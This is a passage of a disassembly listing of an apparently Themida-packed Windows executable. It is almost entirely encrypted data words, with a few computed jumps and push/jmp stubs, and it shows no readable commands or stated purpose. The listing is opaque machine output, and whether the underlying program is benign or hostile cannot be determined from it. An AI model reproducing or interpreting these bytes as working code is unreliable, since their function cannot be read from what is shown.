; ---------------------------------------------------------------------------
		mov	ebx, 5B45C6D5h
		shl	dword ptr [ebp+4BE08A5Ah], 1
		sbb	eax, [esi-3F9E81EFh]
		retf
; ---------------------------------------------------------------------------
		db 0BBh
		dd 347B0230h, 525DA267h, 0ADC11E0Ch, 3D02D169h,	19F5F94Ah
		dd 922DA90Bh, 2756C22Bh, 0B1D9E61Dh, 0F88A31Eh,	0B5B1F37Dh
		dd 6E0B3929h, 0FE5A152h, 0A30B770Fh, 95E1DF26h,	427B0D33h
		dd 41BCFC6Fh, 0E90DA041h, 7352C6Ah, 5281504h, 73164E0Dh
		dd 0A194F770h, 0EA0DB31Bh, 22067458h, 0EE83Eh, 0B3A0000h
		dd 6DB58F68h, 158CB30Fh, 0B8C7EB2Eh, 0E4C2815Ah, 60000067h
		dd 0F8B0Fh, 0AE90000h, 7E000000h, 4A0E5765h, 0D57A0A24h
		dd 12E8A6h, 0A5150000h,	2462D885h, 0F0421122h, 0B378C933h
		dd 94D32B87h, 615ED08Bh, 0E2637B8h, 63E88133h, 0F8330E0Ch
		dd 0BE6632FFh, 0F5F00E5h, 0C781F6BFh, 2CF0B33Ah, 8CEF81FCh
		dd 60108D2Bh, 61D18B66h, 0AFF2EF81h, 0BB662424h, 3A897DA1h
		dd 43EA81F8h, 564A0354h, 0CFB70F52h, 0C2815B5Eh, 4A03543Fh
		dd 0F01E883h, 0FFFFBB85h, 8D8DF5FFh, 7D874E6h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 0EC35242h, 447824B0h
		dd 0E9CC9714h, 8, 0AD8F501Ch, 203243EAh, 1B518D89h, 0C7FC07D1h
		dd 0D12D5585h, 72D007h,	55006A00h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1A04h, 0C3554500h, 7E1B964Dh, 0BB9DFF33h
		dd 57D02B15h, 2C49BD8Bh, 958907D1h, 7D12569h, 1D3985C7h
		dd 7D1h, 6A0000h, 3E853h, 5B200000h, 5C895BC3h,	44810424h
		dd 180424h, 53430000h, 0E0EB51C3h, 8B6625ADh, 0D1B5FFF7h
		dd 0E807D11Ah, 10h, 0C47B21B7h,	82A1EA9Bh, 0C1EA3B47h
		dd 7D32C36h, 19DDBD31h,	0FF5807D1h, 0D1180195h,	56006A07h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1704h, 0C3564600h
		dd 0BCF6CBEAh, 0F24EC9B8h, 0FF006A75h, 0D1005595h, 0EBC08B07h
		dd 0BD5DC12Fh, 0DBE919C6h, 61741861h, 5CF89A03h, 28D1BF7Fh
		dd 0A580B0EAh, 0A2B92382h, 9C97E4E3h, 10848B37h, 0EF563E9Ch
		dd 1D3B703Ch, 0C0475186h, 0BE8h, 0F45BAD00h, 26561795h
		dd 0D0700B22h, 0F95AFB8Bh, 6CCBC281h, 0D3810000h, 473D2363h
		dd 68h,	0B5895700h, 7D126E1h, 348B595Fh, 0DB81660Ah, 0F6816CC4h
		dd 2839EC3h, 0CE9h, 877BDA00h, 0C9766C23h, 0A4192B45h
		dd 5DC68182h, 606117FFh, 30819D09h, 0EE907D1h, 9A000000h
		dd 0F8D5ECA6h, 69811F61h, 278FEA41h, 0EE81612Ah, 7B044777h
		dd 6DBED7B8h, 0CC805664h, 0A048F19h, 3EF0BF66h,	0D535C781h
		dd 0E983303Ah, 0C1BD2903h, 4907D122h, 0CC9B589h, 0F98107D1h
		dd 0FFFF9404h, 1D850Fh,	0BD8B0000h, 7D130F5h, 27E9h, 197F2600h
		dd 3081B480h, 8341E02Fh, 0EDAA746Bh, 804CC72Fh,	63E9E3CFh
		dd 0DEFFFFFFh, 0AC8B9F74h, 37A42CA1h, 0BC451003h, 13E9h
		dd 0C8476000h, 1Ah, 3 dup(0)
; ---------------------------------------------------------------------------
		jmp	loc_5FE1A6
; ---------------------------------------------------------------------------
		push	7D87714h
		jmp	loc_58E4C0
; ---------------------------------------------------------------------------
		push	7D87797h
		jmp	loc_58E4C0
; ---------------------------------------------------------------------------
		push	7D87959h
		jmp	loc_58E4C0
; ---------------------------------------------------------------------------
		db 0F4h
		dd 0DCC9568Ah, 0CAB744B8h, 0B9A633CDh, 0A28F1CDAh, 0C07B08E0h
		dd 3DBBD7DDh, 2AC0C3B0h, 15D3B09Dh, 0FFFD9B88h,	27E4D072h
		dd 1A012B46h, 0BDAA967Eh, 0B69423DDh, 75326121h, 1228B4F8h
		dd 0B29E35CCh, 7BD3D24Eh, 3480E41Ah, 0E7CC5B35h, 8C089AFAh
		dd 7F48B70h, 46D36A88h,	3B27CAB8h, 0FAAEFC7Eh, 1FDCC819h
		dd 19FAAF4Eh, 0F10F8976h, 21DEC35Ah, 19FAAF48h,	7435E48Fh
		dd 419F303Bh, 350A2h, 0DE31C400h, 0DDC9285Ah, 0F9E6FE20h
		dd 0F1927F19h, 1F4E0BF7h, 0A519F9E7h, 43DA7F0Eh, 4DC121DEh
		dd 0CFBC175Fh, 0B84F34B2h, 0A433C9CBh, 99856416h, 306A56DCh
		dd 0EBD76E1Fh, 0D4639DFEh, 0D03161EFh, 0A54327E4h, 0EA812701h
		dd 692612FEh, 2701A504h, 0AD9A29C0h, 978411EFh,	3647FBF9h
		dd 0FAE5C5EAh, 39C9D15h, 910D0000h, 93F5E26Fh, 0A2E3D05Dh
		dd 0B3D2BF4Ch, 0DFBBA835h, 0C4D99421h, 0C95692F0h, 0B643B9DCh
		dd 0A12EC8C9h, 8B18D4B4h, 2D40FDE9h, 971A012Ch,	1280D1AFh
		dd 0B490DD9Ah, 9D341228h, 412E1A06h, 5A17A640h,	1A012B0Ah
		dd 0A3960F73h, 0B531EE6Eh, 0FEEA8126h, 0EA777111h, 757311FEh
		dd 7D6AF990h, 41FEE31Dh, 1A018027h, 0A71BF256h,	0C32B74B3h
		dd 0AE452AC0h, 0FD9B8817h, 0D3384BFFh, 3E8F6C5h, 3198Bh
		dd 0EC148A00h, 0DA16725Fh, 0C927604Dh, 0B2304F3Ch, 9E5A3825h
		dd 65475611h, 513ECB25h, 3E2BB836h, 2916A35Dh, 5E008D6Bh
		dd 2BB8B572h, 240C1A01h, 79362246h, 1228B4F4h, 0B4A1CC89h
		dd 8C231228h, 33C150E7h, 0B04C4C47h, 0B19D34CBh, 12A70F4h
		dd 0D8BD541Ah, 6785FFECh, 13111E82h, 0B200E105h, 9ACF8C1Bh
		dd 0E21A01AEh, 0FD6146A2h, 8833C53h, 0EAA895F0h, 0D580290Eh
		dd 0C7B34526h, 0C74F1EDBh, 0B0B61A00h, 93F396EAh, 8C0EFBA0h
		dd 61F88F74h, 0B7F827D2h, 41A61AF8h, 44A2DFCCh,	6639C85Fh
		dd 1C5h, 0F6088D7Ah, 0D18E7A11h, 1A01959Ch, 24029128h
		dd 562F6321h, 0C0A54342h, 16AD9229h, 0F88F6929h, 34662613h
		dd 1CB39854h, 0F0AD9985h, 1228B47Dh, 0B52A4300h, 39A1228h
		dd 0AB38C75Eh, 0A08C6D1Dh, 0F9E88BE3h, 0BDA23919h, 0F9E86900h
		dd 54C36E19h, 9E665C53h, 528141h, 80A30000h, 1603EF12h
		dd 26B2873h, 0C21228B5h, 18AF942Bh, 0D2E09D89h,	0F219F9DCh
		dd 0E53D698Eh, 0FA094528h, 84E87F19h, 30ED365Dh, 19FA823Dh
		dd 0C259F087h, 824920DDh, 0A28E19FAh, 8918D6B5h, 0CF92FDEh
		dd 0F58C718Fh, 2C0EF66h, 0BD1D419Fh, 3F000000h,	0A0856321h
		dd 3419D7B3h, 0C6AB4947h, 513DBBD9h, 38C72564h,	0B5D2BFABh
		dd 58EFAC3Bh, 241228B9h, 0AF9C8864h, 0F78413D1h, 0ECD83969h
		dd 0B8E81E88h, 9B2ADA75h, 1AD7C3AFh, 1229AD53h,	0AA8F6929h
		dd 48D76E13h, 0FD8BFB8Bh, 8E65C919h, 503B0623h,	0F8E5D168h
		dd 214C099Ah, 0A319FD5Dh, 88661F0Ch, 0E8750CA3h, 0AD619FFBh
		dd 0F6C9B364h, 57239B80h, 0C8000001h, 0B09D2AD6h, 9E8B18D4h
		dd 8D7A07F9h, 7663F00Eh, 944FDC14h, 9E7A309h, 0F6F48F7Ch
		dd 0E11F7C69h, 0CB296754h, 0F3B09C3Eh, 1A012D7Ah, 2184624Ah
		dd 0DFA8761h, 0F8E4718Fh, 98E8BE94h, 5A6E5284h,	0F3F23C21h
		dd 0AD8B1AB1h, 0A0856321h, 2AC8C7B4h, 12EEAE9Bh, 668BF785h
		dd 1B6BD7Ah, 770E19FAh,	0AEFC9E8Bh, 6C01BEEDh, 5819FA01h
		dd 6932AC1h, 43412E1Ah,	6C29C0A5h, 19FA0201h, 0E09D2CC3h
		dd 19FA0189h, 0CA5795F3h, 0BB6E7ADEh, 843B9F48h, 6E8A08F5h
		dd 94D99682h, 3019FA85h, 0AD250A99h, 0B2h, 0EF1280CFh
		dd 2B1A4603h, 0BDAA1A01h, 0AA8F26D8h, 9421DFBDh, 1F0BE9A7h
		dd 0E48E44BBh, 1394627h, 83E77E1Ah, 56E5F1B8h, 86B471h
		dd 91F63711h, 0D86F8909h, 6C8406F3h, 0A150FB87h, 0EACF296Ah
		dd 0A550BC53h, 23C1BF76h, 0D546AA96h, 0CB75F1DAh, 0E2A28F1Eh
		dd 2AC6C4B1h, 10F6006Dh, 962DC437h, 27C5C4B1h, 0BB355542h
		dd 1E2B72D6h, 141B8F83h, 2EC16C27h, 0E21D261Ah,	744A2FC6h
		dd 90395AC9h, 81FF36E5h, 0ABE9D663h, 23F0684Dh,	4000000h
		dd 0B94AC1A0h, 7A09E710h, 7936229Ch, 1228B4F4h,	4BF00C88h
		dd 0EDD925B4h, 0B5294401h, 49B1228h, 7D219775h,	0D3B19E83h
		dd 46433015h, 0B3D6C3A8h, 2F6B583Dh, 83FFECD1h,	0F4938065h
		dd 632411F6h, 0D9BBA88Dh, 566F3E23h, 0C6815E54h, 4, 8704EE83h
		dd 685C2434h, 7F01h, 68240C89h,	1B47h, 50241489h, 0E84B79B8h
		dd 55D0F71Ch, 0D83A31BDh, 0AED8116h, 0C137B426h, 814D04EDh
		dd 997170CDh, 81D5F748h, 3BB0D7F5h, 5DE82969h, 5458C189h
		dd 8324148Bh, 815104C4h, 6376242Ch, 428F5DADh, 8428108h
		dd 5DAD6376h, 5724148Bh, 0C781E789h, 4,	4C781h,	3C870000h
		dd 34FF5C24h, 0C4835924h, 326E904h, 530FFFF9h, 0C145FF2Bh
		dd 79111BFFh
		db 38h,	68h
; ---------------------------------------------------------------------------


loc_5FE1A6:				; CODE XREF: Themida_:005FDC48j
		mov	eax, 7D87AD5h
		add	eax, ebp
		jmp	eax
; ---------------------------------------------------------------------------
		db 0Bh
		dd 0B12C82DFh, 4F6413CBh, 0EF379DE3h, 9F7B6B29h, 5C7F1239h
		dd 142194EAh, 0CF7B26D9h, 466FA23Ah, 0D424C200h, 0A24F3F9Fh
		dd 0F07A4597h, 0D366692Fh, 0CB2AE8DAh, 0B95CEB19h, 3A0EC903h
		dd 0E850F4FEh, 0Ah, 0CB6EAD0Bh,	0E4B90DCAh, 0EE9F005h
		dd 35000000h, 0E5A2B325h, 3AEE7C74h, 9E457A1Ah,	0F38B5F60h
		dd 6337C781h, 0D38B0000h, 18B2BBh, 86C88100h, 8B63D4E1h
		dd 0D2BF0F0Fh, 66EE981h, 0C8801466h, 0F3E981D3h, 8B607E30h
		dd 1AF181F0h, 6652A928h, 2ACEE681h, 54EE8151h, 8F7F81FEh
		dd 8A0F07h, 83000000h, 0BE6604EFh, 0EB833542h, 0C0850F01h
		dd 0E8FFFFFFh, 0Ah, 30A947E0h, 3829DE87h, 0F2BB93B8h, 5A5DAA62h
		dd 0C281FA8Ah, 6109h, 0BEh, 8BDF8B00h, 0B450320Ch, 0E9815B2Ch
		dd 43914F30h, 0F18186B4h, 56726FA6h, 1E850Fh, 14E80000h
		dd 0AE000000h, 3E54F40Ch, 2D55C2DEh, 0C163A3D6h, 113154EDh
		dd 66186637h, 5F2E56BFh, 0F19AE981h, 0DE84CA9h,	66000000h
		dd 87DFB1FBh, 6610CED7h, 7E98C993h, 895F4BB3h, 8166320Ch
		dd 60A126F3h, 8161F58Ah, 18CC1EEh, 0C681F83Eh, 3E018CBDh
		dd 0FE5C46BBh, 0BCFE8157h, 0FFFFF9Fh, 1185h, 27E900h, 5B490000h
		dd 94063450h, 39D8320Bh, 5CB000C8h, 0FFFF6AE9h,	0FE51BFFFh
		dd 0C0E6E17Fh, 0A25DA4A2h, 32F299Fh, 0BFBB6B48h, 83C08B3Dh
		dd 0D13405BDh, 9750007h, 2849BD83h, 740007D1h, 8B535019h
		dd 421B8C0h, 85890000h,	7D113D5h, 0E1B09D8Dh, 0D3FF07D3h
		dd 0BD83585Bh, 7D12849h, 50177400h, 421B853h, 85890000h
		dd 7D113D5h, 0DE9F9D8Dh, 0D3FF07D3h, 0C08B585Bh, 2D719D8Bh
		dd 85C607D1h, 7D131B5h,	0B8526856h, 0B5FF9CA8h,	7D10831h
		dd 0A6EA858Dh, 0D0FF07D4h, 68046Ah, 0FF000010h,	0D11D55B5h
		dd 0FF006A07h, 0FC085D0h, 0D85h, 0B800h, 8D8D0000h, 7D170C4h
		dd 0C88BE1FFh, 4003C38Bh, 0F8053Ch, 508B0000h, 83D3030Ch
		dd 0D12389BDh, 840F0007h, 0Eh, 23899D8Bh, 858B07D1h, 7D124F5h
		dd 52510389h, 79EB858Dh, 0D0FF07D1h, 0F18BFA8Bh, 0C88BD18Bh
		dd 85C6A4F3h, 7D131B5h,	6D396856h, 0B5FFD41Fh, 7D10831h
		dd 0A6EA858Dh, 0D0FF07D4h, 800068h, 52006A00h, 0C08BD0FFh
		dd 3405BD83h, 750007D1h, 49BD8309h, 7D128h, 53501974h
		dd 21B8C08Bh, 89000004h, 0D1201185h, 179D8D07h,	0FF07D3E2h
		dd 83585BD3h, 0D12849BDh, 17740007h, 21B85350h,	89000004h
		dd 0D1201185h, 0B89D8D07h, 0FF07D3DEh, 8B585BD3h, 899D8DC0h
		dd 8B07D123h, 0FC00B03h, 784h, 8B038B00h, 1889045Bh, 4B41B8h
		dd 2CE900h, 5EC50000h, 1594h, 9	dup(0)
		dd 71E90000h, 90000005h, 7865F2EEh, 6653E01Ch, 5542CF21h
		dd 3E2BB836h, 5C17A45Ch, 0D12F6B41h, 0BE3C5744h, 0A9474431h
		dd 93512F1Ch, 0BB786406h, 1A0132B2h, 523E2A12h,	32C4A966h
		dd 69001A01h, 132C1ACh,	7616031Ah, 67FE957Ah, 6321FAD8h
		dd 0D7B3A085h, 0B4A08C19h, 28B476F7h, 28B74E12h, 0BA9F5D3Bh
		dd 4C31CFCDh, 0E2C7255Fh, 0E55CCB76h, 0CFBC49A7h, 4E2D67B2h
		dd 9A7523A5h, 851C01FFh, 284502EEh, 9C122940h, 0F4E16E05h
		dd 88745997h, 3F8EDF9Ch, 9F361229h, 8A602310h, 21DFB8A5h
		dd 0B6344F3Ch, 4BBA65D1h, 27D6812Ah, 998893F0h,	3C4B31D3h
		dd 1F0C9930h, 0E19E8361h, 12298989h, 0AC62913Ch, 0F5C1DD48h
		dd 0D665283Ch, 0CE22505Fh, 7D8D39h, 21AF0000h, 0E3A08563h
		dd 1228B488h, 785D93F4h, 0AEF0D8Bh, 4324D37Eh, 8405F49Fh
		dd 39CD362Bh, 44EFAC99h, 4EC07486h, 0D9BE559Ah,	0BE0B342h
		dd 0F4000000h, 65224B08h, 0BA21228h, 0BE229E7Ch, 226683C7h
		dd 0A8106ACEh, 0B5CFBC4Bh, 23655237h, 9CFBE8CDh, 88C795Eh
		dd 63220FF4h, 8934A085h, 0E28DF99Ah, 6498FC33h,	0BF9C1478h
		dd 65AF3E76h, 1AB1BC79h, 7C131229h, 157360EDh, 226C4AD7h
		dd 0E08D4A36h, 0E41228B4h, 0B4DD904Dh, 50E71228h, 3AB6D4C1h
		dd 0D02C6855h, 45B45FEBh, 0A734CCCEh, 5B12CFBBh, 691228B5h
		dd 365643D2h, 0E783EFEDh, 17AE1EE9h, 4C5F3E2Bh,	28EADE8Fh
		dd 0B84FE612h, 0F4584429h, 0FD452D6Dh, 2A17A653h, 1CAE936Dh
		dd 0E6874430h, 0DE122965h, 1E0DB847h, 0EE7F3C28h, 0D6122965h
		dd 9042DB3Fh, 9026232h,	1CBC037Ah, 7F4139CEh, 55000000h
		dd 0E6CB2968h, 21E2C04Fh, 0B5A28761h, 0CD391ED0h, 503DF322h
		dd 3CD3B834h, 26C2C0ADh, 12EEAC99h, 80DD412Dh, 0F392F449h
		dd 0D57EEFACh, 0AF461228h, 0FD9C8918h, 682D1AFFh, 8C5B196h
		dd 1228D565h, 0B8DBC85Fh, 6D52AEECh, 0EE5A3FD6h, 21B3D443h
		dd 0E18C4935h, 0E31228D5h, 0E312BD4Ch, 0CD551DA2h, 46E039h
		dd 21020000h, 0AE9B8761h, 972E13EDh, 55362308h,	0C26DB69Bh
		dd 42BEDC53h, 6721D7B5h, 83E7A489h, 0F91228B4h,	214C0998h
		dd 0A31228B5h, 0A390750Ch, 352207E5h, 19C49A54h, 3AE589EAh
		dd 35E5CACBh, 1F839CDh,	1A000000h, 0A58A6421h, 371CD8B8h
		dd 0FD34E38Eh, 4BD96698h, 0E1CEBA5Fh, 3D5744A2h, 874430BFh
		dd 19F9CA27h, 3421069Dh, 1E0B9854h, 0E09D827Eh,	19F9C98Bh
		dd 43BEA95h, 0EEDB6884h, 6399FCAEh, 3283E77Eh, 37DB929Ch
		dd 99FDE980h, 7075DD99h, 90DC54FFh, 133360B6h, 1B08ED7Ch
		dd 0A6937F7Dh, 997E0DE3h, 7DB3620Dh, 0FD99D491h, 0A4E319F9h
		dd 25CA6146h, 7212FF8Eh, 0F1886420h, 7EC2ED64h,	4D1B419Eh
		dd 3D000001h, 0DD9A1280h, 1228B490h, 0AE4C4734h, 49B32C9h
		dd 0FE6F2C18h, 0C61228B4h, 0F7B4A02Fh, 19F9C7F7h, 0FE0069CDh
		dd 2CBF778Ch, 0C5C3B095h, 0EFAD9A27h, 881FDDBBh, 1AD6B6A3h
		dd 5347412Eh, 3ED5BA30h, 463318A7h, 0DCC9AE42h,	0B65F44B8h
		dd 0EF7B1C0Bh, 3E5ED544h, 0F1BE35C2h, 0EC419F0Bh, 58h
		dd 0EE15800Eh, 0B5084502h, 11759228h, 5A0FB637h, 0CB70FFADh
		dd 0DB924F34h, 0A19228F8h, 372409E7h, 24BBA05Eh, 0B89D5B37h
		dd 1172A14Ch, 0AB61903Bh, 3E23DDBEh, 1F8A18A7h,	0BC200CF8h
		dd 12614071h, 1F966AB2h, 0FA559500h, 3617D463h,	8E122960h
		dd 95F26AF7h, 14000000h, 3EF1280h, 0DAB5B317h, 0B47968Dh
		dd 0A3BBBF7Ch, 720919FAh, 4E0A08Dh, 980A8A77h, 851C01FFh
		dd 0A391DC99h, 9C3319FAh, 47342005h, 5E1BAA48h,	19FAA50Ah
		dd 0F5C62A16h, 733FD17Dh, 0FB2AD564h, 32524444h, 2CCAC9B6h
		dd 87A0895h, 8940FDE9h,	3B21D2BCh, 0CDB24E4Eh, 0C7B39F36h
		dd 0D2BC630Ah, 0B8756121h, 21D2BCB5h, 7DE1780Fh, 22A12035h
		dd 7358E72Eh, 891D0686h, 0BF876D12h, 5896EFDCh,	6045DC73h
		dd 851D0CB7h, 4B08F415h, 29AC087Eh, 4422AF46h, 9D533522h
		dd 0EF12800Eh, 33834603h, 0AA411A01h, 0ABECD9C5h, 4AD97055h
		dd 0D5C13F5Dh, 614EAAE8h, 4CE3C826h, 0E04430BDh, 7C3DD445h
		dd 0A99625BFh, 6B280DEBh, 2C4DE5E4h, 88BF6E19h,	0FAF69608h
		dd 8D728C0Dh, 0E5D25FF6h, 776449A7h, 8F5DA18h, 9B886D8Bh
		dd 321F04FAh, 15C09652h, 31DC85E6h, 0AF4D4BC2h,	99573522h
		dd 0A3CB4h, 63500000h, 4BE2C725h, 0E4C2DEBCh, 9E837D21h
		dd 3015D3B1h, 0C3A84643h, 583DB3D6h, 0ECD12F6Bh, 806583FFh
		dd 11F6F493h, 0A88D6324h, 3E23D9BBh, 0E089506Fh, 405h
		dd 4BD5500h, 29000000h,	4875DE8h, 89575C24h, 4C781E7h
		dd 81000000h, 4EFh, 243C8700h, 243C895Ch, 81E28952h, 4C2h
		dd 4EA8100h, 87000000h,	895C2414h, 6850241Ch, 7D87E91h
		dd 58C78958h, 755968h, 24248900h, 4240481h, 5B000000h
		dd 8BA52h, 0DA010000h, 24348157h, 28627BC6h, 3281028Fh
		dd 28627BC6h, 2434FF5Ah, 4C4835Bh, 5F2434FFh, 0E904C483h
		dd 0FFF8FA8Ch, 0E0F697EEh, 226ACBCEh, 7E6B9DE7h, 0D8836FB8h
		dd 0FFC50307h, 0FB25D9E0h, 7DF1D56Bh, 219B0326h, 8C0C6E62h
		dd 6824157h, 7A5D0112h,	0DE833h, 165E0000h, 7FC82EE0h
		dd 0EDCD644Bh, 66660A08h, 8B5FD08Bh, 12C781F3h,	68000068h
		dd 19D5h, 3CB9BE66h, 12E958h, 0DA1E0000h, 0A27FA9ECh, 3862A4F9h
		dd 3EAA478Bh, 4AAB5AD4h, 0F38137FFh, 1EE43966h,	0D78B6659h
		dd 0A205C181h, 81F86045h, 295E76F1h, 13E907h, 712D0000h
		dd 0E1E74670h, 5902C13Eh, 0EEEB2706h, 9E073E2Fh, 70E981B2h
		dd 0F650BABh, 0E851F3BFh, 0Fh, 0A2C70555h, 78121731h, 0F353D732h
		dd 5BFB6DE9h, 13E9078Fh, 72000000h, 6C26F834h, 94039B8Bh
		dd 0FB5A44D6h, 15393F35h, 0EF83B6A9h, 0C8A0F04h, 0F000000h
		dd 687h, 8E0F00h, 83000000h, 850F01E8h,	0FFFFFF78h, 0AE8h
		dd 1BF72600h, 0E7BF25E9h, 0FF70890h, 580h, 0FECABB00h
		dd 0B65861F3h, 24C081E1h, 680000EBh, 3A96h, 14E9h, 871C0800h
		dd 92E00A8Ah, 50A0B04Ah, 0D74DC1C3h, 41BDE674h,	0EE95EF6h
		dd 6D000000h, 0EC12C3CBh, 125EECA1h, 2AB413B9h,	0F30FFDEh
		dd 682h, 0B9665700h, 5F5B22CBh,	613AE2BAh, 0E7EF814Ch
		dd 0B9225E0Ch, 642BD847h, 8F01F781h, 806013F7h,	9E951C3h
		dd 43000000h, 6677E274h, 0EB4F0DD8h, 57F78161h,	0E90214CBh
		dd 9, 4640CC97h, 16528537h, 8B38898Ch, 45E881CAh, 0F3AF235h
		dd 381h, 0DABF0F00h, 3541C081h,	78BA3AF2h, 8159B102h, 1EEh
		dd 8A850F00h, 60FFFFFFh, 66B2F780h, 0F14FE881h,	7E961h
		dd 18D40000h, 3523h, 568E900h, 2D510000h, 5F3926B3h, 6E2714A1h
		dd 77160390h, 83FFEC79h, 801DD865h, 5926E2Ch, 0F27F7D18h
		dd 0DD6A8405h, 0C75490F0h, 0F17C3925h, 0D31A0139h, 63210DEBh
		dd 0AB98562Fh, 962D12E8h, 6D2D1AFFh, 0ACCEAAC6h, 68FF6F20h
		dd 2BF68F7Ch, 0FB2CEE24h, 8211A857h, 6C8808F5h,	0FEFA9A87h
		dd 94682C19h, 6B5743AFh, 25E21E7Eh, 12292248h, 0AB56E57Ch
		dd 4A62C67Ch, 98BB4413h, 0ACECD968h, 0BB786450h, 122967B2h
		dd 5FEC7B12h, 0EC048673h, 0D513705Dh, 0C03E5B48h, 55ABEEDBh
		dd 0ED1CC770h, 0AF494A37h, 4C21DECAh, 78122968h, 0CEBB4AE1h
		dd 0B9A633CDh, 44311DDBh, 31C8AD43h, 6A00BDA2h
		dd 5B122967h, 6F4041B0h, 5539CDE9h, 5BC1AC69h, 6C031229h
		dd 6F0ADDh, 222C0000h, 0B59A5435h, 0E2A28F1Eh, 48352106h
		dd 0DAC7AC48h, 0C55C41BFh, 89E29F2Eh, 3C1228B4h, 8E216291h
		dd 4F39CD36h, 1, 89672171h, 17D5B09Dh, 0D2B6A388h, 4D4C391Eh
		dd 2E693959h, 0BD54EBD0h, 0E9D54126h, 10913C85h, 295D1A53h
		dd 0AF13AA12h, 0B03FBF5Ah, 651F1605h, 210EFA87h, 3EA28761h
		dd 83759041h, 0CA59F0DDh, 0B441BFDDh, 316121D6h, 1CB39856h
		dd 0D1B3A085h, 0FFAA361Bh, 7F791910h, 0A91E2F93h, 3FCB6736h
		dd 0B61A1B75h, 2CBBE4C8h, 16D2B29Fh, 0AD434431h, 9C8B36C8h
		dd 0CD52A41Bh, 0BE5939h, 816D0000h, 28C8A9C4h, 0F5841B12h
		dd 87612117h, 0CAC9B6A2h, 0D7B09D2Ch, 3CBAD7C4h, 28B4EE7Fh
		dd 2972D612h, 0D5FA853Dh, 947910A7h, 978E7D28h,	82EBA8FBh
		dd 0FA12299Fh, 0E57C619Fh, 2612A940h, 0B14F4D3Ah, 0F57835CCh
		dd 8712299Fh, 0AE45EA08h, 0E5A5921Fh, 5A39260Bh, 0C9CAB79Ch
		dd 64E64A2Fh, 0DA1562B7h, 6337513Eh, 4B30C725h,	84E514BFh
		dd 62D847F2h, 1101375h,	0BBAAD914h, 0BC5338CFh,	509B62Dh
		dd 4FF439CEh, 16000000h, 98563522h, 827E1C09h, 80EDAA96h
		dd 441228B4h, 4D391EADh, 52F92260h, 3C987AEFh, 0F0DD6C03h
		dd 27705593h, 33978D7Ch, 0CF727552h, 3825B497h,	33119E5Ah
		dd 57336721h, 601D0299h, 1228B50Ah, 0A0E110BBh,	39CD360Fh
		dd 1CEh, 3522F000h, 0D4369A54h,	1589F271h, 117663F2h, 220EFADFh
		dd 28E40865h, 9625BC12h, 280DEBA9h, 0EE25D47Fh,	3CCA57A9h
		dd 2BFAB4Eh, 19F9F8ACh,	0AF9C8118h, 3A2713D1h, 25BCA15Fh
		dd 7C1C0996h, 0D77947B3h, 0FA4C531Ah, 76DA7119h, 0B047D85Ch
		dd 0B15D0ECBh, 18C319FAh, 965232E9h, 2A7C1C09h,	13F88F69h
		dd 57346626h, 0C9C7B499h, 18FD942Bh, 0FB32E18Ch, 204D0A9Dh
		dd 5D19FAB2h, 0FAB1CDA0h, 0BB60F719h, 14008D24h, 0D7BD6827h
		dd 0D236FF4Bh, 0BE35C45Bh, 419F2FF1h, 4FA1E6D3h, 7144D36Ah
		dd 169h, 22128093h, 0F0072F0Fh,	220EA56Ch, 0AB985635h
		dd 988413E9h, 0FA4E13DBh, 8C5B119h, 19FA4D65h, 4531C85Fh
		dd 0DBC03C58h, 0E4D0B544h, 0CE5D9BF7h, 0B845A3E1h, 0EDDACDCBh
		dd 0D99451AFh, 0EB19FA4Dh, 0ECD8BD54h, 4E2A4300h, 39A19FAh
		dd 0EC7B7516h, 7E6381FFh, 61D847F2h, 0C138C523h, 419ECEEEh
		dd 0D2CB72D6h, 69C769E3h, 41A35B2h, 0C428BF08h,	1FBC459Ah
		dd 0A2750477h, 65h, 563522C4h, 87B0998h, 0D40FDE9h, 0B79228B5h
		dd 0EF7E3B20h, 0A49228B4h, 7720AF9h, 0B49FCE8Bh, 8E259228h
		dd 7A1E0BF7h, 0FC935130h, 5F18017h, 0FD702D19h,	89228B4h
		dd 0BE87F94Fh, 0A73EE384h, 64F25B18h, 9E8B1229h, 0D17605FBh
		dd 0BC31D86Dh, 0DA493FFh, 0F5783521h, 0CF1228E5h, 0A41CA938h
		dd 89h,	0EF1280C6h, 0E7344603h,	0F99019F9h, 8B692714h
		dd 1F7311FEh, 0BF08765h, 0F9E81A4Eh, 0AC5B0619h, 0A0CD8A76h
		dd 2419F9E7h, 7311FE8Dh, 285AE875h, 0D20DDC9h, 0B721D26Eh
		dd 624F3B20h, 4AE1C622h, 32CECEBBh, 7ACBE246h, 1C7B77C3h
		dd 0DABBA88Dh, 465B12CFh, 0D26921D2h, 2F69563Bh, 9843ECD1h
		dd 27663B69h, 95D1A4Eh,	0EF1EC972h, 1A06EB97h, 695E4DB6h
		dd 0FE8D52D4h, 0EAD85512h, 55EC29AAh, 0E21E7C69h, 4AD766FDh
		dd 0EF12806Ch, 3AE74603h, 0A9961A01h, 0D87D0CEAh, 116F5C41h
		dd 0DE83E7D3h, 65BFF6BBh, 0DBC855E4h, 9D5A3FBDh, 4CFCF321h
		dd 4BC231DCh, 3522AF4Dh, 0C7B49957h, 9C452AC8h,	0F2564CB0h
		dd 785D9BF7h, 33267DE1h, 0F221CC5Bh, 129F5D3Bh,	0A4896725h
		dd 0DBCFCBB8h, 0C35A3FBDh, 3259D2Ch, 47000000h,	7D21E4C2h
		dd 0D3B19E83h, 46433015h, 0B3D6C3A8h, 2F6B583Dh, 83FFECD1h
		dd 0F4938065h, 632411F6h, 0D9BBA88Dh, 686F3E23h, 53EEh
		dd 68240C89h, 41B2h, 52241489h,	0C281E289h, 4, 8704EA83h
		dd 895C2414h, 68512404h, 45A978B9h, 41D1F759h, 4C7DE981h
		dd 0C1815CDAh, 16FC6CABh, 0DE5BC181h, 0CA89935Fh, 6EEC6859h
		dd 24890000h, 24048124h, 4, 4EC8158h, 89000000h, 408F2414h
		dd 2434FF08h, 4C48358h,	5024148Bh, 405E089h, 83000000h
		dd 48704C0h, 51E95C24h,	74FFF8F3h, 0F629A4FEh, 0B5B8C3B2h
		dd 307D88Ah, 0A4E0FFC5h, 0E672B974h, 0AD3A1A43h, 0DB62BC86h
		dd 0A536BEFBh, 4B42FA4Fh, 2A29AF43h, 4B1C4A10h,	612C0D3Ch
		dd 0A83E7F5Bh, 6C471E14h, 0C54CDD5Dh, 42599A38h, 1C114E2Ah
		dd 0C17326A3h, 0F0114BCCh, 8D26F92Ch, 0D103A99Dh, 2490B807h
